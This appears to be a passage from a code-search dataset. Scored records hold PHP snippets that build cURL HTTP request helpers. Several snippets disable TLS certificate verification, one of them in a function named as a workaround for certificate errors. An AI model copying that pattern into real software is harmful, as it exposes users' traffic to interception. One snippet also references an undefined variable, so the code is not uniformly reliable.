(!extension_loaded('curl')) {\n throw new Exception('curl is needed to use this library');\n }\n }", "title": "" }, { "docid": "d37972982349c76f82a2f62ef26298de", "score": "0.47697937", "text": "function curl_error_60_workaround( $handle, $r, $url ) {\n curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false);\n\n}", "title": "" }, { "docid": "607ec803ed7564c6c7a7492ba8c6bf99", "score": "0.4754545", "text": "function curl($url, $httpheader = 0, $post = 0, $proxy = 0) {\n\t\t$ch = curl_init();\n\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\tcurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\n\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n\t\tcurl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);\n\t\tcurl_setopt($ch, CURLOPT_TIMEOUT, 60);\n\t\tif ($post) {\n\t\t\tcurl_setopt($ch, CURLOPT_POST, true);\n\t\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, $post);\n\t\t}\n\t\tif ($httpheader) {\n\t\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);\n\t\t}\n\t\tif ($proxy) {\n\t\t\tcurl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, true);\n\t\t\tcurl_setopt($ch, CURLOPT_PROXY, $proxy);\n\t\t\t// curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);\n\t\t}\n\t\tcurl_setopt($ch, CURLOPT_HEADER, true);\n\t\t$response = curl_exec($ch);\n\t\t$httpcode = curl_getinfo($ch);\n\t\tif (!$httpcode) return \"Curl Error : \".curl_error($ch); else {\n\t\t\t$header = substr($response, 0, curl_getinfo($ch, CURLINFO_HEADER_SIZE));\n\t\t\t$body = substr($response, curl_getinfo($ch, CURLINFO_HEADER_SIZE));\n\t\t\tcurl_close($ch);\n\t\t\treturn array($header, $body);\n\t\t}\n\t}", "title": "" }, { "docid": "24fef0c5aa49b5a72c76a1590b932bde", "score": "0.47542626", "text": "public function __construct(){\n if (!extension_loaded('curl')) {\n die('CURL extension not found!');\n }\n }", "title": "" }, { "docid": "a785b105e79be75d055d433f42e03c43", "score": "0.47471997", "text": "private function process($url, $data=false) {\n $ch = curl_init($url);\n\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $this->method);\n\n # Only need POSTFIELDS for methods that have bodies.\n if($data && in_array($this->method, array(PlaywireClient::POST, PlaywireClient::PUT))) {\n if(is_array($data)) {\n $data = $this->urlify($data);\n }\n\n curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\n }\n\n curl_setopt($ch, CURLOPT_VERBOSE, $this->verbose);\n curl_setopt($ch, CURLOPT_NOBODY, 0);\n curl_setopt($ch, CURLOPT_HEADER, 0);\n curl_setopt($ch, CURLOPT_USERAGENT, $this->user_agent);\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_HTTPHEADER, $this->headers);\n\n $response = curl_exec($ch);\n\n $this->responseInfo=curl_getinfo($ch);\n curl_close($ch);\n\n return $response;\n }", "title": "" }, { "docid": "2bf0fefbbbae232b80ce4ba76bb10b66", "score": "0.4743734", "text": "function _process($url,$postargs=false)\n\t{\n\t\t$ch = curl_init($url);\n\t\tif($postargs !== false)\n\t\t{\n\t\t\tcurl_setopt ($ch, CURLOPT_POST, true);\n\t\t\tcurl_setopt ($ch, CURLOPT_POSTFIELDS, $postargs);\n }\n \n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_VERBOSE, 1);\n curl_setopt($ch, CURLOPT_NOBODY, 0);\n if( $this->debug ) :\n curl_setopt($ch, CURLOPT_HEADER, true);\n else :\n curl_setopt($ch, CURLOPT_HEADER, false);\n endif;\n curl_setopt($ch, CURLOPT_USERAGENT, $this->user_agent);\n @curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);\n\t\tif( $this->headers )\n \tcurl_setopt($ch, CURLOPT_HTTPHEADER, $this->headers);\n\n $response = curl_exec($ch);\n \n $this->responseInfo=curl_getinfo($ch);\n curl_close($ch);\n \n \n if( $this->debug ) :\n $debug = preg_split(\"#\\n\\s*\\n|\\r\\n\\s*\\r\\n#m\", $response);\n echo'<pre>' . $debug[0] . '</pre>'; exit;\n endif;\n \n if( intval( $this->responseInfo['http_code'] ) == 200 )\n\t\t\treturn $response; \n else\n return false;\n\t}", "title": "" }, { "docid": "2cfd79b94087b3b5d8c0c345320ee217", "score": "0.47430238", "text": "function envira_curl_available() {\n\t\treturn extension_loaded( 'curl' );\n\t}", "title": "" }, { "docid": "5b2939a4dbda21125a9ddbb38708529f", "score": "0.47403464", "text": "public function makeCall($url){\n try {\n $response = $this->getClient()->get($url);\n } catch (\\Exception $e)\n {\n Log::error($e);\n $response = false;\n }\n return $response;\n }", "title": "" }, { "docid": "650481e7743b2146ea5d70e8dfa1982b", "score": "0.4719176", "text": "function http($url, $method, $postfields = NULL, $headers = array()) {\r\n $this->http_info = array();\r\n $ci = curl_init();\r\n /* Curl settings */\r\n curl_setopt($ci, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);\r\n curl_setopt($ci, CURLOPT_USERAGENT, $this->useragent);\r\n curl_setopt($ci, CURLOPT_CONNECTTIMEOUT, $this->connecttimeout);\r\n curl_setopt($ci, CURLOPT_TIMEOUT, $this->timeout);\r\n curl_setopt($ci, CURLOPT_RETURNTRANSFER, TRUE);\r\n curl_setopt($ci, CURLOPT_ENCODING, \"\");\r\n curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, $this->ssl_verifypeer);\r\n if (version_compare(phpversion(), '5.4.0', '<')) {\r\n curl_setopt($ci, CURLOPT_SSL_VERIFYHOST, 1);\r\n } else {\r\n curl_setopt($ci, CURLOPT_SSL_VERIFYHOST, 2);\r\n }\r\n curl_setopt($ci, CURLOPT_HEADERFUNCTION, array($this, 'getHeader'));\r\n curl_setopt($ci, CURLOPT_HEADER, FALSE);\r\n\r\n switch ($method) {\r\n case 'POST':\r\n curl_setopt($ci, CURLOPT_POST, TRUE);\r\n if (!empty($postfields)) {\r\n curl_setopt($ci, CURLOPT_POSTFIELDS, $postfields);\r\n $this->postdata = $postfields;\r\n }\r\n break;\r\n case 'DELETE':\r\n curl_setopt($ci, CURLOPT_CUSTOMREQUEST, 'DELETE');\r\n if (!empty($postfields)) {\r\n $url = \"{$url}?{$postfields}\";\r\n }\r\n }\r\n\r\n if (isset($this->access_token) && $this->access_token)\r\n $headers[] = \"Authorization: OAuth2 \" . $this->access_token;\r\n\r\n if (!empty($this->remote_ip)) {\r\n if (defined('SAE_ACCESSKEY')) {\r\n $headers[] = \"SaeRemoteIP: \" . $this->remote_ip;\r\n } else {\r\n $headers[] = \"API-RemoteIP: \" . $this->remote_ip;\r\n }\r\n } else {\r\n if (!defined('SAE_ACCESSKEY')) {\r\n $headers[] = \"API-RemoteIP: \" . $_SERVER['REMOTE_ADDR'];\r\n }\r\n }\r\n curl_setopt($ci, CURLOPT_URL, $url);\r\n curl_setopt($ci, CURLOPT_HTTPHEADER, $headers);\r\n curl_setopt($ci, CURLINFO_HEADER_OUT, TRUE);\r\n\r\n $response = curl_exec($ci);\r\n $this->http_code = curl_getinfo($ci, CURLINFO_HTTP_CODE);\r\n $this->http_info = array_merge($this->http_info, curl_getinfo($ci));\r\n $this->url = $url;\r\n\r\n if ($this->debug) {\r\n echo \"=====post data======\\r\\n\";\r\n var_dump($postfields);\r\n\r\n echo \"=====headers======\\r\\n\";\r\n print_r($headers);\r\n\r\n echo '=====request info=====' . \"\\r\\n\";\r\n print_r(curl_getinfo($ci));\r\n\r\n echo '=====response=====' . \"\\r\\n\";\r\n print_r($response);\r\n }\r\n curl_close($ci);\r\n return $response;\r\n }", "title": "" }, { "docid": "32932735be03aa3457c4db28a278746c", "score": "0.4719023", "text": "public function beforeWebMethod($service);", "title": "" }, { "docid": "b78804d0a31ee0dacaecf0759952627e", "score": "0.47132888", "text": "abstract public function hooks();", "title": "" }, { "docid": "50de5dc31439bcff682a5d89170c9e97", "score": "0.47106645", "text": "function ws_pack_rest_init_hook_handler($hook, $type, $returnvalue, $params) {\n\t\n\t// get the called method\n\t$method = get_input(\"method\");\n\t\n\tif ($method === \"system.api.list\") {\n\t\t// load all, so the api list is populated with all calls\n\t\telgg_load_library(\"ws_pack.auth\");\n\t\telgg_load_library(\"ws_pack.groups\");\n\t\telgg_load_library(\"ws_pack.river\");\n\t\telgg_load_library(\"ws_pack.users\");\n\t\telgg_load_library(\"ws_pack.system\");\n\t\telgg_load_library(\"ws_pack.settings\");\n\t\telgg_load_library(\"ws_pack.languages\");\n\t} else {\n\t\tlist($library, $dummy) = explode(\".\", $method);\n\t\n\t\ttry {\n\t\t\t// try to match this to one of our libraries\n\t\t\telgg_load_library(\"ws_pack.\" . $library);\n\t\t} catch (Exception $e){\n\t\t\t// do nothing\n\t\t}\n\t}\n}", "title": "" }, { "docid": "fbdc5ac0622dfd0d44a89b7818ad7f0f", "score": "0.47053412", "text": "private function initialiseCurl()\n {\n $this->curlResource = curl_init();\n curl_setopt($this->curlResource, CURLOPT_SSL_VERIFYPEER, FALSE);\n curl_setopt($this->curlResource, CURLOPT_TIMEOUT, 60);\n curl_setopt($this->curlResource, CURLOPT_FOLLOWLOCATION, 0);\n curl_setopt($this->curlResource, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($this->curlResource, CURLOPT_USERAGENT, $this->userAgent);\n curl_setopt($this->curlResource, CURLOPT_COOKIEJAR, $this->cookieFile);\n }", "title": "" }, { "docid": "48d5cf0935fab44a465c4ec2240893ee", "score": "0.47020382", "text": "private function setUpCurl()\n {\n if (!is_null($this->curl)) {\n $this->closeCurl();\n }\n $this->curl = curl_init();\n curl_setopt($this->curl, CURLOPT_RETURNTRANSFER, TRUE);\n curl_setopt($this->curl, CURLOPT_HTTPHEADER,array(\"Content-Type: application/json\"));\n }", "title": "" }, { "docid": "40a04dae660cc155c769ff01f5602111", "score": "0.46977368", "text": "protected function set_request_method($method,$url,$data) {\n curl_setopt($this->request, CURLOPT_URL, $url);\n curl_setopt($this->request, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($this->request, CURLOPT_TIMEOUT, $this->options['TIMEOUT']); // 设置超时时间,单位(秒)\n curl_setopt($this->request, CURLOPT_HEADER, 0);\n curl_setopt($this->request, CURLOPT_SSL_VERIFYPEER, false);\n curl_setopt($this->request, CURLOPT_SSL_VERIFYHOST, false);\n curl_setopt($this->request, CURLOPT_COOKIE, $this->cookie_param);\n curl_setopt($this->request, CURLOPT_USERAGENT, isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : '' );\n curl_setopt($this->request, CURLOPT_REFERER, $this->referer());\n switch (strtoupper($method)) {\n case 'POST':\n curl_setopt($this->request, CURLOPT_POST, 1);\n curl_setopt($this->request, CURLOPT_POSTFIELDS, $data);\n break;\n case 'DELETE':\n curl_setopt($this->request, CURLOPT_CUSTOMREQUEST, 'DELETE');\n break;\n case 'PUT':\n curl_setopt($this->request, CURLOPT_POSTFIELDS, $data);\n curl_setopt($this->request, CURLOPT_CUSTOMREQUEST, 'PUT');\n break;\n }\n }", "title": "" }, { "docid": "71dff2ed75773993802aa1d5ac2e0760", "score": "0.46870846", "text": "abstract public function get_hook();", "title": "" }, { "docid": "d8d1b33c825ea6fe2b5fda515089c348", "score": "0.4683789", "text": "public function initCurl($apiURL)\n{\n\t// set this repository (if empty, default will be used)\n\t$this->apiURL = $this->setRepository($apiURL);\n\n\t// get curl handle\n\tif ($this->curl = curl_init($this->apiURL))\n\t{\t// ok\n\t\treturn true;\n\t}\n\telse \n\t{\t// error: curl init failed\n\t\tdie ('Error: could not get cURL handle - failed to init cURL!');\n\t}\n}", "title": "" }, { "docid": "414ad1a61c5bc5d8ffebc6ce7e22b35a", "score": "0.46731266", "text": "function API_request($url, $verb = 'GET', $data = '', $failonerror = true)\n{\n global $resturl, $restuser, $restpass, $lastrequest, $G_SYMFONY, $apiFromInternal;\n if (isset($G_SYMFONY)) {\n // Perform an internal Symfony request to the API\n logmsg(LOG_DEBUG, \"API internal request $verb $url\");\n\n $apiFromInternal = true;\n $url = 'http://localhost/api'. $url;\n $httpKernel = $G_SYMFONY->getHttpKernel();\n parse_str($data, $parsedData);\n\n // Our API checks $_SERVER['REQUEST_METHOD'], $_GET and $_POST but Symfony does not overwrite it, so do this manually\n $origMethod = $_SERVER['REQUEST_METHOD'];\n $origPost = $_POST;\n $origGet = $_GET;\n $_POST = [];\n $_GET = [];\n // TODO: other verbs\n if ($verb === 'GET') {\n $_GET = $parsedData;\n } elseif ($verb === 'POST') {\n $_POST = $parsedData;\n }\n $_SERVER['REQUEST_METHOD'] = $verb;\n\n $request = \\Symfony\\Component\\HttpFoundation\\Request::create($url, $verb, $parsedData);\n $response = $httpKernel->handle($request, \\Symfony\\Component\\HttpKernel\\HttpKernelInterface::SUB_REQUEST);\n\n // Set back the request method and superglobals, if other code still wants to use it\n $_SERVER['REQUEST_METHOD'] = $origMethod;\n $_GET = $origGet;\n $_POST = $origPost;\n\n $status = $response->getStatusCode();\n if ($status < 200 || $status >= 300) {\n $errstr = \"executing internal $verb request to url \" . $url .\n \": http status code: \" . $status . \", response: \" . $response;\n if ($failonerror) {\n error($errstr);\n } else {\n logmsg(LOG_WARNING, $errstr);\n return null;\n }\n }\n\n return $response->getContent();\n }\n\n if ($resturl === null) {\n read_API_credentials();\n if ($resturl === null) {\n error(\"could not initialize REST API credentials\");\n }\n }\n\n logmsg(LOG_DEBUG, \"API request $verb $url\");\n\n $url = $resturl . $url;\n if ($verb == 'GET' && !empty($data)) {\n $url .= '?' . $data;\n }\n\n $ch = curl_init($url);\n curl_setopt($ch, CURLOPT_USERAGENT, \"DOMjudge/\" . DOMJUDGE_VERSION);\n curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\n curl_setopt($ch, CURLOPT_USERPWD, $restuser . \":\" . $restpass);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n if ($verb == 'POST') {\n curl_setopt($ch, CURLOPT_POST, true);\n if (is_array($data)) {\n curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: multipart/form-data'));\n }\n } elseif ($verb == 'PUT' || $verb == 'DELETE') {\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $verb);\n }\n if ($verb == 'POST' || $verb == 'PUT') {\n curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\n }\n\n $response = curl_exec($ch);\n if ($response === false) {\n $errstr = \"Error while executing curl $verb to url \" . $url . \": \" . curl_error($ch);\n if ($failonerror) {\n error($errstr);\n } else {\n warning($errstr);\n return null;\n }\n }\n $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);\n if ($status < 200 || $status >= 300) {\n $errstr = \"executing internal $verb request to url \" . $url .\n \": http status code: \" . $status . \", response: \" . $response;\n if ($failonerror) {\n error($errstr);\n } else {\n logmsg(LOG_WARNING, $errstr);\n return null;\n }\n }\n\n curl_close($ch);\n return $response;\n}", "title": "" }, { "docid": "71a5ac8a9f99afeef3f59bde52695f42", "score": "0.46671027", "text": "public static function tryCurl($source){\n $try = preg_match('%^https?://%', $source) && (ini_get('allow_url_fopen') == 0 || self::$alwaysCurl);\n if($try)\n if(!extension_loaded('curl'))\n throw new Exception('No HTTP methods available. Tried accessing a remote object, but allow_url_fopen is not enabled and the CURL extension is missing.', 500);\n return $try;\n }", "title": "" }, { "docid": "8f3d9d2084ef6037897c1f0a85513bab", "score": "0.4658677", "text": "protected function _curlRequest($url, $curlOptions=array(), $headers=array())\n {\n $this->_initCurlHanlde();\n if ( !curl_setopt($this->_curlHandle, CURLOPT_URL, $url) ) {\n /**\n *@uses Parsonline_ZF_Soap_Client_Exception \n */\n require_once('Parsonline/ZF/Soap/Client/Exception.php');\n throw new Parsonline_ZF_Soap_Client_Exception(\"failed to set URL for cURL handler\");\n }\n\n if ( $this->_login ) {\n $credentials = $this->_login . ':' . ($this->_password ? $this->_password : '');\n $this->addCurlOption(CURLOPT_USERPWD, $credentials);\n unset($credentials);\n }\n\n if ($this->_proxy_host) {\n $this->addCurlOption(CURLOPT_PROXY, $this->_proxy_host);\n if ($this->_proxy_login) {\n $credentials = $this->_proxy_login . ':' . ($this->_proxy_password ? $this->_proxy_password : '');\n $this->addCurlOption(CURLOPT_PROXYUSERPWD, $credentials);\n unset($credentials);\n }\n if ($this->_proxy_port) $this->addCurlOption(CURLOPT_PROXYPORT, $this->_proxy_port);\n }\n \n if ( $this->_curlOptions && !curl_setopt_array($this->_curlHandle, $this->_curlOptions) ) trigger_error(sprintf(\"%s > failed to set object cURL options on cURL handler\", __METHOD__), E_USER_WARNING);\n if ( $curlOptions && !curl_setopt_array($this->_curlHandle, $curlOptions) ) trigger_error(sprintf(\"%s > failed to set additional cURL options on cURL handler\", __METHOD__), E_USER_WARNING);\n if ( !curl_setopt($this->_curlHandle, CURLOPT_HTTPHEADER, $headers) ) trigger_error(sprintf(\"%s > failed to set HTTP headers on cURL handler\", __METHOD__), E_USER_WARNING);\n \n $response = curl_exec($this->_curlHandle);\n if ($response === false) $response = array(false, curl_errno($this->_curlHandle), curl_error($this->_curlHandle));\n return $response;\n }", "title": "" }, { "docid": "207922e04596c4b420d7ac3dc50ff1f4", "score": "0.4658544", "text": "function _initializeCurl( $cookieJar = false )\n {\n if( is_resource( $this->_curlHandle ) )\n curl_close( $this->_curlHandle );\n \n if( !$this->_authUrl )\n {\n $this->_addError( 'No authentication url provided' );\n return false;\n }\n\n $this->_curlHandle = curl_init();\n \n if( !is_resource( $this->_curlHandle ) )\n {\n $this->_addError( 'Unable to make curl connection' );\n return false;\n }\n \n curl_setopt( $this->_curlHandle, CURLOPT_FOLLOWLOCATION, true );\n curl_setopt( $this->_curlHandle, CURLOPT_MAXREDIRS, 10 );\n \n if( $cookieJar )\n curl_setopt( $this->_curlHandle, CURLOPT_COOKIEJAR, $this->_cookieJar );\n \n curl_setopt( $this->_curlHandle, CURLOPT_USERAGENT, $this->_userAgent );\n curl_setopt( $this->_curlHandle, CURLOPT_TIMEOUT, 30 );\n curl_setopt( $this->_curlHandle, CURLOPT_HEADER, true );\n curl_setopt( $this->_curlHandle, CURLOPT_RETURNTRANSFER, true );\n\n if( !is_resource( $this->_curlHandle ) )\n {\n $this->_addError( 'Unable to make curl connection' );\n return false;\n }\n \n return true;\n }", "title": "" }, { "docid": "475f4a54658e56fd85768a78e86d77d5", "score": "0.46491167", "text": "function setOpt($curlOptions){\n\t\t$this->curlOpt= $curlOptions;\n\t}", "title": "" }, { "docid": "4160e809cb96422f81aee38f99fe1407", "score": "0.4647158", "text": "function http($url, $method, $postfields = NULL) {\n \n $this->http_info = array();\n $ci = curl_init();\n \n /* Curl settings */\n curl_setopt($ci, CURLOPT_USERAGENT, $this->useragent);\n curl_setopt($ci, CURLOPT_CONNECTTIMEOUT, $this->connecttimeout);\n curl_setopt($ci, CURLOPT_TIMEOUT, $this->timeout);\n curl_setopt($ci, CURLOPT_RETURNTRANSFER, TRUE);\n curl_setopt($ci, CURLOPT_HTTPHEADER, array('Expect:'));\n curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, $this->ssl_verifypeer);\n curl_setopt($ci, CURLOPT_HEADERFUNCTION, array($this, 'getHeader'));\n curl_setopt($ci, CURLOPT_HEADER, FALSE);\n\n switch ($method) {\n case 'POST':\n curl_setopt($ci, CURLOPT_POST, TRUE);\n if (!empty($postfields)) {\n curl_setopt($ci, CURLOPT_POSTFIELDS, $postfields);\n }\n break;\n case 'DELETE':\n curl_setopt($ci, CURLOPT_CUSTOMREQUEST, 'DELETE');\n if (!empty($postfields)) {\n $url = \"{$url}?{$postfields}\";\n }\n }\n\n curl_setopt($ci, CURLOPT_URL, $url);\n \n $response = curl_exec($ci);\n $this->http_code = curl_getinfo($ci, CURLINFO_HTTP_CODE);\n $this->http_info = array_merge($this->http_info, curl_getinfo($ci));\n $this->url = $url;\n curl_close ($ci);\n \n return $response;\n }", "title": "" }, { "docid": "147cfb0ec3c6ec69c83fe568f3aa78ac", "score": "0.46418494", "text": "function CallAPI($method, $url, $data = false, $header = false) {\n $curl = curl_init();\n\n switch ($method) {\n case \"POST\":\n curl_setopt($curl, CURLOPT_POST, 1);\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, \"POST\");\n if ($data)\n curl_setopt($curl, CURLOPT_POSTFIELDS, $data);\n break;\n case \"PUT\":\n curl_setopt($curl, CURLOPT_PUT, 1);\n break;\n default:\n if ($data)\n $url = sprintf(\"%s?%s\", $url, http_build_query($data));\n }\n if ($header)\n \n curl_setopt($curl, CURLOPT_HTTPHEADER, $header);\n // Optional Authentication:\n // curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\n //curl_setopt($curl, CURLOPT_USERPWD, \"admin:***REMOVED***\");\n\n curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);\n curl_setopt($curl, CURLOPT_URL, $url);\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n\n $result = curl_exec($curl);\n $chapierr = curl_errno($curl);\n $cherrmsg = curl_error($curl);\n curl_close($curl);\n\n return $result;\n}", "title": "" }, { "docid": "70e3db4f34f003430ca1a5afe9a89dd1", "score": "0.46385264", "text": "function initCurl($url) {\n\n /**\n * Init curl\n */\n $curl = curl_init();\n\n if (USE_PROXY) {\n curl_setopt($curl, CURLOPT_PROXY, PROXY_URL);\n curl_setopt($curl, CURLOPT_PROXYPORT, PROXY_PORT);\n curl_setopt($curl, CURLOPT_PROXYUSERPWD, PROXY_USER . \":\" . PROXY_PASSWORD);\n }\n\n return $curl;\n}", "title": "" }, { "docid": "ff701b788a8b660544f696b4061b17c5", "score": "0.4638322", "text": "public function __wakeup()\n {\n $this->_initCurlHanlde();\n if ($this->_unregisteredProtocolsOnSleep) $this->_registerProtocols($this->_unregisteredProtocolsOnSleep);\n }", "title": "" }, { "docid": "d02d415e0874e4f8095e610ea871f629", "score": "0.4636467", "text": "public function call($method, $url, $data = false, $urlencoded = false)\n {\n if( $data != false ) {\n $this->data = $data;\n } else{\n $this->data = array();\n }\n\n $this->setAuth();\n\n switch ($method)\n {\n case \"POST\":\n\n $post = $this->request->getPost();\n\n if(isset($post['stack_click'])){\n\n $this->data['stack_click'] = json_encode($post['stack_click']);\n\n }\n\n if(isset($post['stack_over'])){\n $this->data['stack_over'] = json_encode($post['stack_over']);\n }\n\n if(isset($post['stack_click_map'])){\n $this->data['stack_click_map'] = json_encode($post['stack_click_map']);\n }\n\n\n curl_setopt($this->curl, CURLOPT_POST, 1);\n\n $this->setHeader('accesstoken: '.$this->session->get('accesstoken'));\n\n\n if($urlencoded) {\n $this->data = http_build_query($this->data);\n $this->setHeader('Content-Type: application/x-www-form-urlencoded');\n }\n\n curl_setopt($this->curl, CURLOPT_POSTFIELDS, $this->data);\n\n break;\n\n case \"PUT\":\n\n curl_setopt($this->curl, CURLOPT_CUSTOMREQUEST, \"PUT\");\n\n if($urlencoded) {\n $this->data = http_build_query($this->data);\n $this->setHeader('Content-Type: application/x-www-form-urlencoded');\n }\n\n if ($this->data)\n curl_setopt($this->curl, CURLOPT_POSTFIELDS, $this->data);\n\n break;\n\n case \"DELETE\":\n curl_setopt($this->curl, CURLOPT_CUSTOMREQUEST, \"DELETE\");\n break;\n\n default:\n if ($this->data)\n $url = sprintf(\"%s?%s\", $url, http_build_query($this->data));\n }\n\n\n\n if( count($this->header) > 0 ) {\n curl_setopt($this->curl, CURLOPT_HTTPHEADER, $this->header );\n }\n\n curl_setopt($this->curl, CURLOPT_URL, $url);\n curl_setopt($this->curl, CURLOPT_RETURNTRANSFER, 1);\n\n $result = curl_exec($this->curl);\n\n curl_close($this->curl);\n\n\n\n $this->verifyResponse($result);\n\n\n $json = json_decode($result, true);\n\n return $json;\n }", "title": "" }, { "docid": "127b082360e6f54e31f4a46a7dcce0ac", "score": "0.46332225", "text": "public function initCurl() {\n $this->ovirt_ch= curl_init();\n\n $this->resetHeaders();\n curl_setopt($this->ovirt_ch, CURLOPT_HTTPHEADER, $this->_getHeaders());\n curl_setopt($this->ovirt_ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($this->ovirt_ch, CURLOPT_USERPWD, $this->username . ':' . $this->password);\n\n if($this->insecure) {\n curl_setopt($this->ovirt_ch, CURLOPT_SSL_VERIFYPEER, false);\n }\n }", "title": "" }, { "docid": "e58ea9c914658574f5045baafd1745b2", "score": "0.46244168", "text": "function soap_transport_http($url, $curl_options = NULL, $use_curl = false){\n\t\tparent::NusoapBase();\n\t\t$this->debug(\"ctor url=$url use_curl=$use_curl curl_options:\");\n\t\t$this->appendDebug($this->varDump($curl_options));\n\t\t$this->setURL($url);\n\t\tif (is_array($curl_options)) {\n\t\t\t$this->ch_options = $curl_options;\n\t\t}\n\t\t$this->use_curl = $use_curl;\n\t\tpreg_match('/\\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev);\n\t\t$this->setHeader('User-Agent', $this->title.'/'.$this->version.' ('.$rev[1].')');\n\t}", "title": "" }, { "docid": "1c51c7df4d731683a457513251fa23f6", "score": "0.4617452", "text": "public function initEcurl() {\r\n if (function_exists('curl_init')) {\r\n $che = curl_init();\r\n curl_setopt($che, CURLOPT_RETURNTRANSFER, 1);\r\n curl_setopt($che, CURLOPT_POST, 1);\r\n curl_setopt($che, CURLOPT_CONNECTTIMEOUT, $this->timeOut);\r\n $this->che = $che;\r\n } else {\r\n $this->sendError(\" No se encuentra la función curl_init\");\r\n }\r\n }", "title": "" }, { "docid": "41ae5ee72fa602ae4b30a6c1ff509e80", "score": "0.46123135", "text": "private function initHTTPLibrary()\n {\n switch (true) {\n case function_exists('curl_init'):\n $this->library = 'curl';\n break;\n case extension_loaded('openssl'):\n $this->library = 'openssl';\n break;\n default :\n $this->library = 'fopen';\n }\n }", "title": "" }, { "docid": "c0b7cc5831a1ff66eec9a4c94d4d8353", "score": "0.4610147", "text": "public function callAPI($method, $url, $data = false)\r\n {\r\n $curl = curl_init();\r\n\r\n switch ($method)\r\n {\r\n case \"POST\":\r\n curl_setopt($curl, CURLOPT_POST, 1);\r\n\r\n if ($data)\r\n curl_setopt($curl, CURLOPT_POSTFIELDS, $data);\r\n break;\r\n case \"PUT\":\r\n\r\n// curl_setopt($curl, CURLOPT_PUT, 1);\r\n if ($data)\r\n $data_json = json_encode($data);\r\n// curl_setopt($curl, CURLOPT_POSTFIELDS, $data);\r\n $headInfo = array('Content-Type: application/json','Content-Length: ' . strlen($data_json));\r\n curl_setopt($curl, CURLOPT_HTTPHEADER, $headInfo );\r\n curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'PUT');\r\n curl_setopt($curl, CURLOPT_POSTFIELDS,$data_json);\r\n break;\r\n default:\r\n// if ($data)\r\n// $url = sprintf(\"%s?%s\", $url, http_build_query($data));\r\n }\r\n\r\n curl_setopt($curl, CURLOPT_URL, $url);\r\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\n ini_set('max_execution_time', 500);\r\n $result = curl_exec($curl);\r\n\r\n curl_close($curl);\r\n\r\n return $result;\r\n }", "title": "" }, { "docid": "b4bfa37aedda06c7f3c0fc7e4e4dabcb", "score": "0.46089947", "text": "public static function callAPI($method, $url, $data = false)\n\t{\n\t\ttry {\n\t\t $curl = curl_init();\n\n\t\t switch ($method)\n\t\t {\n\t\t case \"POST\":\n\t\t curl_setopt($curl, CURLOPT_POST, 1);\n\t\t if ($data) curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($data));\n\t\t break;\n\n\t\t case \"GET\":\n\t\t default:\n\t\t if ($data) $url = sprintf(\"%s?%s\", $url, http_build_query($data));\n\t\t break;\n\t\t }\n\n\t\t curl_setopt($curl, CURLOPT_URL, $url);\n\t\t // curl_setopt($curl, CURLOPT_REFERER, self::$token['referer']); //Needed to accompany the token for authentication\n\n\t\t curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n\t\t curl_setopt($curl, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4 ); // Use IPv4 (not IPv6)\n\n\t\t\tcurl_setopt($curl, CURLOPT_HEADER, false);\n\t\t\tcurl_setopt($curl, CURLINFO_HEADER_OUT, true);\n\n\t\t\t// Send the request!\n\t\t $result = curl_exec($curl);\n\n \t // Log errors\n\t\t\tif (curl_errno($curl)) {\n\t\t\t //$result = false;\n\t\t\t throw Exception('cURL Error: '.curl_error($curl));\n\t\t\t Log::error('cURL Error: '.curl_error($curl).PHP_EOL,[\"File\"=>__FILE__,\"Method\"=>__METHOD__,\"URL\"=>$url]);\n\t\t\t}\n\n\t\t\t// Log debugging output\n\t\t\tif(env('APP_DEBUG')) {\n\t\t\t\tLog::debug(\"Request sent with cURL:\".PHP_EOL,[\"File\"=>__FILE__,\"Method\"=>__METHOD__, \"Params\"=>($data ? http_build_query($data) : \"\"),\"curl_getInfo\"=>curl_getinfo($curl)]);\n\t\t\t\tLog::debug(\"Response from ArcGIS Server:\".PHP_EOL.var_export($result,true));\n\t\t\t\tLog::debug(\"Data sent to callAPI method:\".PHP_EOL.var_export($data,true));\n\t\t\t}\n\n\t\t \n\t\t} catch (Exception $e) {\n\t\t\t$result = 